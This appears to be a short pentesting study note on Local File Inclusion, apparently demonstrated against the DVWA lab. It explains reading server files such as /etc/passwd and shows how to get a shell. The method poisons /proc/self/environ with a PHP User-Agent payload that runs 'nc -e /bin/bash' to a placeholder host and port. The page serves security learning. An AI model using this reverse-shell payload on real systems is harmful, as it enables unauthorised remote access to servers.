> For the complete documentation index, see [llms.txt](https://hackzzz.gitbook.io/welcome/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackzzz.gitbook.io/welcome/everything-about-and-notes/web-pentesting/local-file-inclusion.md).

# Local File Inclusion

<figure><img src="https://dpsvdv74uwwos.cloudfront.net/statics/img/ogimage/local-file-inclusion-vulnerability.jpg" alt=""><figcaption></figcaption></figure>

## What is a Local File Inclusion?

* This vulnerability able the attacker to see files from inside the server like the **/etc/passwd** or others.

## Quick Example

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FCxNZNSoEZVABUo4cCHHa%2FLFIdvwa1.png?alt=media&amp;token=93bd5ced-dc7b-463b-87e2-5c9a6cca7a29" alt=""><figcaption></figcaption></figure>

* In the following image we see that changing the file that the parameter page is loading we can see other files outside **www directory**, and we can try to exploit them to gain access with a shell.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FWYiZf2HP1Yk4l9VgcTX3%2FgainingaccessLFIdvwa.png?alt=media&amp;token=66c6561e-b080-4dfd-aea7-ea0535bdf75e" alt=""><figcaption><p>Gaining Acces LFI</p></figcaption></figure>

* Right here you see that pointing to **/proc/self/environ**, and **modifying our&#x20;*****user agent*****&#x20;to:**
* &#x20;**\<? passthru("nc -e /bin/bash \<host> \<port>"); ?>**
* Foward the requests and you will see that you will get a shell.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FQMr9gk8CisaRiH2aMMBZ%2FgainingaccessLFIdvwa2.png?alt=media&amp;token=66206840-e062-49fb-83ca-985d68d8bed6" alt=""><figcaption></figcaption></figure>

Examples and Info:

{% content-ref url="/pages/MurJ6nnN675MBxJZKhaQ" %}
[Directory Traversal](/welcome/welcome/writeups/portswigger/directory-traversal.md)
{% endcontent-ref %}